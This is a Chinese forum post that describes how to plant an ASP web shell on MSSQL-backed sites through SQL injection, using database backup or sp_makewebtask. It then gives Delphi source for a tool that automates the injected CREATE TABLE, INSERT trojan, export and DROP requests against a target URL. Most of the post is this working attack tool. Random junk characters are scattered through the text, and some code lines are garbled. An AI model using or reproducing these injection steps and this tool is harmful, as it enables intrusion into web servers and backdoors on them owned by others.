QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 3096|回复: 0
打印 上一主题 下一主题

SQL注入得到WEBSHELL

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 00:13 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<>一.通过SQL注入得到WEBSHELL的原理: 7 N! T0 v2 l3 R) H! j1 [
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。 ! [& b' p( z8 J' Y- X
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有&lt;%%&gt;之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释&lt;%%&gt; 之内的语句呢?如果数据库中有的表中有&lt;%%&gt;标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。 5 x$ _# P, N5 s
再来看看CZY的方法吧。
' o- p: X2 i# L$ @" [1 j+ n7 ~CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。 ' s8 e1 Y/ x# P! T, D
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。 3 `2 B5 w. d0 b
二.利用DELPHI去实现功能的前言 , e5 q* p& c7 x' X2 I, F
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。 * m+ ?/ t' L% c# l+ n

* ~4 V/ s2 t  n" v% c1 p- {6 w三.如何利用DELPHI得到WEBSHELL。 2 W+ g8 f" P7 f: W; n7 J& R7 F
程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。/ P" g7 K0 J/ U4 j/ Y6 m# V
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
9 F) P' }$ [/ [& `4 G# Y
' _: s& z) \+ p6 W7 q/ w; R2 d6 H2 Y: X3 x

+ C" D9 I' `; I, E现在来写程序了。
% ]5 o0 x# F+ |我们首先定义一个RECORD。 * b; B, m3 L! S4 c) _
如下:
! t3 L4 u2 L1 ?! `Type 3 v: ?7 N1 ~+ o! ]4 k
SetOption = Record
/ v: v" B5 l6 m2 @TableName : String; //用来保存要创建的表名.
8 |6 u8 y. w) c; EFieldName : String; //用来保存要创建的字段名. . s( y6 r" M2 ]$ j
FiledType : String; //用来保存创建的字段名类型.
) M- b- ]1 b* EEnd; % m8 G/ }# {5 f& ]6 x  _
FiledType字段类型的值是以下类型的一种:
+ A. k9 K  W  G  nBigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint 7 [" m' E2 J5 h! p
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值. 7 V& ~+ E3 z  i2 D6 A
再定义一个全局变量: 0 t# v1 u. t! L) m' h' Q/ F
Var / z! R3 L6 V7 T/ K* y3 M6 \
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
& T* `' Q, {: Q" U3 i# v好了。在表单创建的过程中,我们为RECORD记录输入默认值. ' t! J$ V: w& m& b
代码如下:
, m2 T  ~4 y9 j) E. v# I! }1 d( Zprocedure TMainForm.FormCreate(Sender: TObject);
7 _7 k7 A2 ]& l" ~7 Bbegin
, Y. C# P! K5 Q) f) T. L8 ?sOption.TableName :='cyfd'
" |4 m# I9 ]# ^7 U0 v) y; [sOption.FieldName :='gmemo'
- o6 p8 T' _) o& w4 `5 [sOption.FiledType :='text'
2 v8 t* H# ]9 v9 s2 V: I& mend; 2 o) X/ |& k# F% e/ c, G% Y% L8 d
现在我们添加开始执行命令的代码。
3 ?' `8 V5 B* v/ u; t; i5 `8 q$ m+ j先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.   Q- A  Z; V) J) y6 g, g6 T. s4 s+ v. |
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用. 4 w# B' Y2 D+ H! M. i, O! d
在程序开始执行前,我们得先检查一下用户的输入 * l7 r8 w; Q5 `6 \
定义一个Checkinput函数.
7 q  ^3 r# Q: c- Y5 ]2 n如下: $ e* k* u# l7 r  W  F' L" d
Function CheckInput : Boolean; ' c( K3 v! v) i, b7 W
Begin ( q6 q& ?- ^7 u; |2 d8 c- b' L7 M; [
Result := False; - ]4 ?0 }& K+ j9 ~- X2 c+ S" O
if Trim(urlet.Text) = '' then 9 x+ h  t# |! V
Begin + E8 R" F/ Z8 c0 ?/ r) {, M
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation); ! O8 G9 {- T6 m+ q- d; ]! e
Exit;
8 I1 w% r# Z$ P9 _) f: \" }8 p; uEnd; 6 `9 l5 |. L. j9 J
if Trim(ShellPathET.Text) = '' then
, V; |' a* @! d- a( @# HBegin   R0 ]& F% W* c* p  n9 z( T# L/ T
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation); 1 d' U4 R- p% \) Y* y' R8 Z9 ^
Exit;
4 p/ |6 ?6 x3 D  `End;
% }9 {8 [; \. V: ~. ~8 h2 AIF DefBDoor.Checked then
4 W; f5 D/ V' h2 s) }$ sBegin
: J, v& G) M$ n8 P9 Bif Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then ( U# A9 Z" ?: y* a, V! M/ j) w
Begin 0 A1 M% Z# A3 p( i+ _
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation); 4 f1 e  y  q" R) Y$ i# s- K
Exit;
& t# H; n9 q/ O( b0 \! _, zEnd; & i! j: y. \- q
End
1 i3 Y7 G* P+ }% _Else 0 {3 x( z. U( D1 L( @# |4 O, z
if Not FileExists(CustomBdoorET.Text) then
8 W, k. N+ |+ ^Begin
( m) @$ ]% S! G5 gApplication.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
0 w. V4 z" k. U3 `7 A0 }Exit;
9 ?  F5 n# T; ^- L" k" cEnd; ( b6 h0 z0 U* Y" l! o5 _) W+ M+ }2 Y) Y
Result := True; " f' \* D: k- O# ~5 d! {3 y, H; O
End; + w: J  l0 t8 z7 q8 y* a
在最开始加入: 9 f( D' ?% b# ]
IF Not CheckInput then Exit; //如果输入不合法就退出过程. 7 M! j% x" z5 G1 L" ?
好了,如果用户输入没什么错,我们就来下面的代码。
) A. K' Y% d$ R5 _首先我们把IsStop设为假。创建BdoorList。 6 k" f3 v/ c% f- R3 P# P, q
BDoorList := TstringList.Create;
; e: b: {" N0 n再加木马内容到BDoorlist. ' n2 D( p* ^+ k/ o' f" P( m; L
BDoorList.LoadFromFile(CustomBdoorET.text); ' N: S9 x! e9 ?+ R/ S' E; H
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。 - J: }! p: Y: s
代码如下: # C! p' a) j/ I2 s% N& E% F
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]); ( _% U5 v/ u! c; P0 H' Z
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
8 X( v3 |' ?* B+ N" A接下来.我们就提交建表的功能了. 2 p7 U+ F6 r- {( ^% d0 B! i
Memo.Lines.Add('建表...');
( V% r: D3 D: p4 l; n" {; i" q* mMemo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);'); 4 }0 S+ N1 Q; s* T* N, I3 c" O
这样我们就创建了一个表。然后.我们向表中加记录: , P" C+ I/ R) M3 J! O) g4 |( c+ ]6 a
代码如下:
1 X6 T0 m+ `* V& cMemo.Lines.Add('加数据...');
. ?+ C6 s: t0 t" D$ n% c7 C" kMemo.Lines.Add('');
' ?5 A- Y' N& T- q$ aFor i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去. " Z& d1 R$ K  _( N4 n6 j+ [
Begin " a0 ?1 R! U7 K& Z5 e$ v+ |+ Y
IF IsStop then //这里如果点了停止按纽程序将终止任务.
  R5 a/ B5 k1 a( C; S! d' T9 fBegin
' N4 x, k/ r& x3 ~BDoorList.Free; 3 a* a4 o. n- q" w, x1 T* D7 z
Exit;
/ M+ x; G. }, K8 PEnd; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');');
+ x8 y4 M& z" b) {4 iMemo.Lines.Add('Add Line '+Inttostr(i+1)); 1 e& u0 T1 ?  F; O8 C& P/ Q% |
End; " l7 y" V% `" }1 t( f/ n* P
现在就是导出数据生成木马了. " E5 i% k- a1 p" a7 l9 v
Memo.Lines.Add('导出数据...');
3 C# b' p& q! |  Y. p) {Memo.Lines.Add('');
6 ?4 H4 N/ u" s% i; pIF BKData.Checked then //如果选中采用备份数据就执行下面的命令.
# @5 r$ _0 z0 [6 `: gNMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
- W6 x# L! P3 v, zElse //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');   q* |: R. M' g1 D8 n; H
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];'); 7 e) v( L/ d: V, @, r1 j* S
这样我们的任务就完成了。下面来释放变量. ; X& }) G7 L( X( m; m1 ^& g
BDoorList.Free; , y# |6 G4 j' ]2 Z9 P/ Z1 [
再来向停止按纽中添加点击事件:
: h+ m( v2 l6 x一行代码就行了:IsStop := True;
% q  P/ b& p) n& b% z# m到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
. n6 @  n; m, z& N设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
- t, p: n0 F% |5 ^第一个名称为:TableNameET //保用户输入的存临时表
1 }! J' i& B$ q  n第二个名称为:FieldNameET //用来保存用户输入的字段名.
: [5 m4 ~% d. a* {2 I: b再添加一个Combobox //用来保存用户所选的字段类型值. 6 W6 g- W3 i* ^2 Y4 H' q
名称:FieldTypeCombox 8 [( V9 Y6 y( o6 Z
OK.界面如下: 4 N9 _  y+ v2 \. J/ @3 q" R8 i- H3 n+ P) j

& n( s2 _% i3 f) O# d代码如下:
  I4 T- p# r) Q6 l- h定义一个过程,主表单好调用这个设置。 & u* {! x3 Q) n2 K  U: Q! P
Procedure ShowSet;
3 n2 `1 m1 b! a; {- KBegin
/ q2 A- {* W- a# t9 }Application.CreateForm(TSetForm,SetForm);
2 U" x( R  @# w# T) Q* @With SetForm do
# }, M! F" p( K0 e4 R# |3 X! {Begin - r5 m& j6 u5 |9 C3 o; G' D) _. i- c, k
TableNameET.Text := sOption.TableName;
1 k& _( Y3 R% f/ l8 ?8 IFieldNameET.Text := sOption.FieldName; 6 S$ Z& i' H: m5 Y# i& i% |; B
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType); 4 ?# t* {& i! i
End; ( p" e3 R" Y" b2 }4 i
SetForm.ShowModal;
, I3 e6 T0 y, p8 l' }1 _: C( l/ B. ASetForm.Free;
& l% ?" v" V$ ^8 zEnd; 7 D4 B0 N/ D6 {+ ]& d- v" j
在主表单中设置的点击事件中添加上showset过程就行了。
! G, N0 J5 W) t" \1 J3 b0 c下面就是点击确定的代码了。
9 E" l2 ]  b- F1 L  |7 q" SIF CheckInput then
+ r2 w9 k' W" yBegin 4 f' G% n4 ?2 `% B
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
! v5 y1 p" i' x8 `: [2 H1 \sOption.FieldName := Trim(FieldNameET.Text); 4 ^9 ^8 H/ n9 {0 O  m
sOption.FiledType := FieldTypeCombox.Text; 1 J7 ^9 q8 C# g, g; B
Close; $ R( l$ ?: |! X3 z- W, _8 N! J
End; : s$ [# }/ M/ v: A" R
这里又有一个CheckInput主要就是检查用户输入的值是不是合法。
5 J% R4 [' v( \2 Z7 G代码如下: : o% |8 v1 C" j6 i; h8 q, [6 r7 ?. f- u
Function CheckInput : Boolean;
+ R7 a, f! r9 sBegin % q* F  r5 f4 e6 R! B# u! f
Result := False; 2 C( \2 |/ _6 C3 I
IF Trim(TableNameET.Text)='' then 5 U5 A$ P( i1 D
Begin . a% x2 @+ A% p% ~
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation);
3 t0 S8 y( B9 c# _) C* j9 EExit; 1 V1 x, U9 J5 n: P' K2 j# x
End;
+ B8 F8 [# ?0 NIF Trim(FieldNameET.Text)='' then % h0 \+ Q4 B: l' O- T
Begin & H$ n' q- D" e, n9 {  Z2 L
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation); % B9 Z" [. x' u" v6 l
Exit; 6 E2 {. O7 R/ s+ B4 R
End;
& h+ N4 ]# z3 l4 Q' B9 V& OResult := True;
' E/ g6 V2 A' V  r- W9 v* z9 [End; 5 t. F6 P+ B( m; [4 U
到这里程序就完了。</P>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-8-9 18:56 , Processed in 0.349264 second(s), 52 queries .

回顶部